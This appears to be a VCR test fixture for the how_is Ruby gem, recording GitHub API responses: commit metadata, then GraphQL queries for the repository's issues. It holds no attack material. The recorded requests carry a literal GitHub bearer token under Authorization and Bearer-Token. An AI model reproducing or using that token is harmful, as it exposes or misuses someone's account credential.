olle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"3553d57849bc0dcc38bd491afeaae8c41093e292","url":"https://api.github.com/repos/how-is/how_is/commits/3553d57849bc0dcc38bd491afeaae8c41093e292","html_url":"https://github.com/how-is/how_is/commit/3553d57849bc0dcc38bd491afeaae8c41093e292"}]},{"sha":"3553d57849bc0dcc38bd491afeaae8c41093e292","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzU1M2Q1Nzg0OWJjMGRjYzM4YmQ0OTFhZmVhYWU4YzQxMDkzZTI5Mg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-03-11T19:34:25Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-03-11T19:34:25Z"},"message":"exe/how_is: Reinstate to_json, to_html\n\n - Fixes #149","tree":{"sha":"2cd492fb173664df78238d22ba2ee167eea3d81f","url":"https://api.github.com/repos/how-is/how_is/git/trees/2cd492fb173664df78238d22ba2ee167eea3d81f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3553d57849bc0dcc38bd491afeaae8c41093e292","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3553d57849bc0dcc38bd491afeaae8c41093e292","html_url":"https://github.com/how-is/how_is/commit/3553d57849bc0dcc38bd491afeaae8c41093e292","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3553d57849bc0dcc38bd491afeaae8c41093e292/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2cff90acf4ff073c065257465b834590182d0f31","url":"https://api.github.com/repos/how-is/how_is/commits/2cff90acf4ff073c065257465b834590182d0f31","html_url":"https://github.com/how-is/how_is/commit/2cff90acf4ff073c065257465b834590182d0f31"}]},{"sha":"eddbadf63be8706d23ab19e5979573641077d4c9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWRkYmFkZjYzYmU4NzA2ZDIzYWIxOWU1OTc5NTczNjQxMDc3ZDRjOQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-02-12T20:35:39Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-12T20:35:39Z"},"message":"Gemspec: Description grammar","tree":{"sha":"46671d2e7fbddaf21db963297bbaf08b228c1d88","url":"https://api.github.com/repos/how-is/how_is/git/trees/46671d2e7fbddaf21db963297bbaf08b228c1d88"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/eddbadf63be8706d23ab19e5979573641077d4c9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/eddbadf63be8706d23ab19e5979573641077d4c9","html_url":"https://github.com/how-is/how_is/commit/eddbadf63be8706d23ab19e5979573641077d4c9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/eddbadf63be8706d23ab19e5979573641077d4c9/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd","url":"https://api.github.com/repos/how-is/how_is/commits/8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd","html_url":"https://github.com/how-is/how_is/commit/8861af6dbc6cb1cb36d22ab3af1c0a3ee600eafd"}]},{"sha":"1b4206110b7f612b88f672b16ffbf58ba7fe5b7f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWI0MjA2MTEwYjdmNjEyYjg4ZjY3MmIxNmZmYmY1OGJhN2ZlNWI3Zg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-02-09T16:53:39Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-09T16:53:39Z"},"message":"CHANGELOG spelling","tree":{"sha":"21bc308ce95d36aa8557f5329c157fc84e60726c","url":"https://api.github.com/repos/how-is/how_is/git/trees/21bc308ce95d36aa8557f5329c157fc84e60726c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1b4206110b7f612b88f672b16ffbf58ba7fe5b7f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1b4206110b7f612b88f672b16ffbf58ba7fe5b7f","html_url":"https://github.com/how-is/how_is/commit/1b4206110b7f612b88f672b16ffbf58ba7fe5b7f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1b4206110b7f612b88f672b16ffbf58ba7fe5b7f/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"09168fbddbb7ec1092490aafdf57578127a10521","url":"https://api.github.com/repos/how-is/how_is/commits/09168fbddbb7ec1092490aafdf57578127a10521","html_url":"https://github.com/how-is/how_is/commit/09168fbddbb7ec1092490aafdf57578127a10521"}]},{"sha":"8886362bfc5ff2dd979962fd50d42aa79ad18f3a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODg4NjM2MmJmYzVmZjJkZDk3OTk2MmZkNTBkNDJhYTc5YWQxOGYzYQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2016-12-12T22:28:40Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2016-12-12T22:28:40Z"},"message":"CLI warning on single-word repo","tree":{"sha":"b14b9e1a795b01c5b013bc5480248d2472daf077","url":"https://api.github.com/repos/how-is/how_is/git/trees/b14b9e1a795b01c5b013bc5480248d2472daf077"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8886362bfc5ff2dd979962fd50d42aa79ad18f3a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8886362bfc5ff2dd979962fd50d42aa79ad18f3a","html_url":"https://github.com/how-is/how_is/commit/8886362bfc5ff2dd979962fd50d42aa79ad18f3a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8886362bfc5ff2dd979962fd50d42aa79ad18f3a/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"9ab5da4415560d54027658e543882759df274ece","url":"https://api.github.com/repos/how-is/how_is/commits/9ab5da4415560d54027658e543882759df274ece","html_url":"https://github.com/how-is/how_is/commit/9ab5da4415560d54027658e543882759df274ece"}]},{"sha":"d559be7b347ff20f0909746f38a61d48bdeef582","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDU1OWJlN2IzNDdmZjIwZjA5MDk3NDZmMzhhNjFkNDhiZGVlZjU4Mg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2016-07-27T15:55:34Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-07-27T15:55:34Z"},"message":"Spelling in OptParser help for --config","tree":{"sha":"52b5ff49e6ac49ee6f024f0790ae43a80ed9896b","url":"https://api.github.com/repos/how-is/how_is/git/trees/52b5ff49e6ac49ee6f024f0790ae43a80ed9896b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d559be7b347ff20f0909746f38a61d48bdeef582","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d559be7b347ff20f0909746f38a61d48bdeef582","html_url":"https://github.com/how-is/how_is/commit/d559be7b347ff20f0909746f38a61d48bdeef582","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d559be7b347ff20f0909746f38a61d48bdeef582/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"8d93274bb1171a8523bf6662466cd9de01060008","url":"https://api.github.com/repos/how-is/how_is/commits/8d93274bb1171a8523bf6662466cd9de01060008","html_url":"https://github.com/how-is/how_is/commit/8d93274bb1171a8523bf6662466cd9de01060008"}]},{"sha":"bbfbb9d389e4c155310efe02ee0280fffb41c435","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmJmYmI5ZDM4OWU0YzE1NTMxMGVmZTAyZWUwMjgwZmZmYjQxYzQzNQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2016-06-17T21:47:45Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2016-06-17T21:47:45Z"},"message":"Executable: Fail faster, use abort","tree":{"sha":"a1f88bf6c0158ed4fb596ce4c0f3d7ea6b42e80b","url":"https://api.github.com/repos/how-is/how_is/git/trees/a1f88bf6c0158ed4fb596ce4c0f3d7ea6b42e80b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bbfbb9d389e4c155310efe02ee0280fffb41c435","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bbfbb9d389e4c155310efe02ee0280fffb41c435","html_url":"https://github.com/how-is/how_is/commit/bbfbb9d389e4c155310efe02ee0280fffb41c435","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bbfbb9d389e4c155310efe02ee0280fffb41c435/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"14b6a2732e2b1cd2fc17450d30de75e7be6e85d9","url":"https://api.github.com/repos/how-is/how_is/commits/14b6a2732e2b1cd2fc17450d30de75e7be6e85d9","html_url":"https://github.com/how-is/how_is/commit/14b6a2732e2b1cd2fc17450d30de75e7be6e85d9"}]},{"sha":"1cb9c72164b92c5a4c7b637c7a3169c71892a98b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWNiOWM3MjE2NGI5MmM1YTRjN2I2MzdjN2EzMTY5YzcxODkyYTk4Yg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2016-06-09T17:19:27Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2016-06-09T17:19:27Z"},"message":"Whitespace [ci skip]","tree":{"sha":"2cea318156863f7761485470d3850abb22ae9257","url":"https://api.github.com/repos/how-is/how_is/git/trees/2cea318156863f7761485470d3850abb22ae9257"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1cb9c72164b92c5a4c7b637c7a3169c71892a98b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1cb9c72164b92c5a4c7b637c7a3169c71892a98b","html_url":"https://github.com/how-is/how_is/commit/1cb9c72164b92c5a4c7b637c7a3169c71892a98b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1cb9c72164b92c5a4c7b637c7a3169c71892a98b/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"1c59ab26be4de9b921911f28dd1845e168b409ab","url":"https://api.github.com/repos/how-is/how_is/commits/1c59ab26be4de9b921911f28dd1845e168b409ab","html_url":"https://github.com/how-is/how_is/commit/1c59ab26be4de9b921911f28dd1845e168b409ab"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:49 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"how-is\", name: \"how_is\") {\n issues(last: 1, orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4667' X-Ratelimit-Reset: - '1556311578' Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 83EC:593A:A3B65:1B00A7:5CC36AF1 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxOS0wNC0xMlQxNjowNToxNC0wNDowMM4ZytkB"}]}}}}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:49 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"how-is\", name: \"how_is\") {\n issues(first: 100, orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:50 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4666' X-Ratelimit-Reset: - '1556311578' Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 783B:05A7:28F222:535A01:5CC36AF1 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0zMVQwNToxNDozNi0wNDowMM4JZSqO","node":{"number":1,"createdAt":"2016-05-31T09:14:36Z","closedAt":"2016-06-17T22:16:20Z","updatedAt":"2016-06-24T22:48:33Z","state":"CLOSED","title":"Metrics to track","url":"https://github.com/how-is/how_is/issues/1","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNS0zMVQxODoxMzozMS0wNDowMM4JZ5Kf","node":{"number":2,"createdAt":"2016-05-31T22:13:31Z","closedAt":"2016-06-04T01:44:22Z","updatedAt":"2016-06-04T01:44:22Z","state":"CLOSED","title":"Find a better name","url":"https://github.com/how-is/how_is/issues/2","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0wOVQxNDowOToxMC0wNDowMM4JgVrx","node":{"number":6,"createdAt":"2016-06-09T18:09:10Z","closedAt":"2018-11-22T22:45:30Z","updatedAt":"2018-11-22T22:46:29Z","state":"CLOSED","title":"Use authentication","url":"https://github.com/how-is/how_is/issues/6","labels":{"nodes":[{"name":"size: large"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xMlQyMTo1OTo1NS0wNDowMM4Jh0oH","node":{"number":7,"createdAt":"2016-06-13T01:59:55Z","closedAt":"2016-06-24T22:48:26Z","updatedAt":"2016-06-24T22:48:26Z","state":"CLOSED","title":"Allow export to Ruby objects as well as files","url":"https://github.com/how-is/how_is/issues/7","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xNVQxNTowMDoyMi0wNDowMM4JkQHR","node":{"number":8,"createdAt":"2016-06-15T19:00:22Z","closedAt":"2016-09-30T01:41:57Z","updatedAt":"2016-09-30T01:41:57Z","state":"CLOSED","title":"[PDF] Show labels outside of graph","url":"https://github.com/how-is/how_is/issues/8","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xN1QxNzo1OToyMS0wNDowMM4JmGbA","node":{"number":10,"createdAt":"2016-06-17T21:59:21Z","closedAt":"2016-06-23T01:46:07Z","updatedAt":"2016-06-23T01:46:12Z","state":"CLOSED","title":"When importing from JSON, don''t require repository name as argument.","url":"https://github.com/how-is/how_is/issues/10","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xN1QxODowMDoyMC0wNDowMM4JmGdQ","node":{"number":11,"createdAt":"2016-06-17T22:00:20Z","closedAt":"2016-06-22T20:29:05Z","updatedAt":"2016-06-24T22:48:30Z","state":"CLOSED","title":"Update README","url":"https://github.com/how-is/how_is/issues/11","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xN1QxODowMzo1OS0wNDowMM4JmGlQ","node":{"number":12,"createdAt":"2016-06-17T22:03:59Z","closedAt":null,"updatedAt":"2019-03-16T20:00:37Z","state":"OPEN","title":"Complex metrics","url":"https://github.com/how-is/how_is/issues/12","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNi0wNi0xN1QxODoxMjoxNi0wNDowMM4JmG2q","node":{"number":13,"createdAt":"2016-06-17T22:12:16Z","closedAt":"2016-06-27T20:13:44Z","updatedAt":"2016-06-27T20:13:48Z","state":"CLOSED","title":"HTML 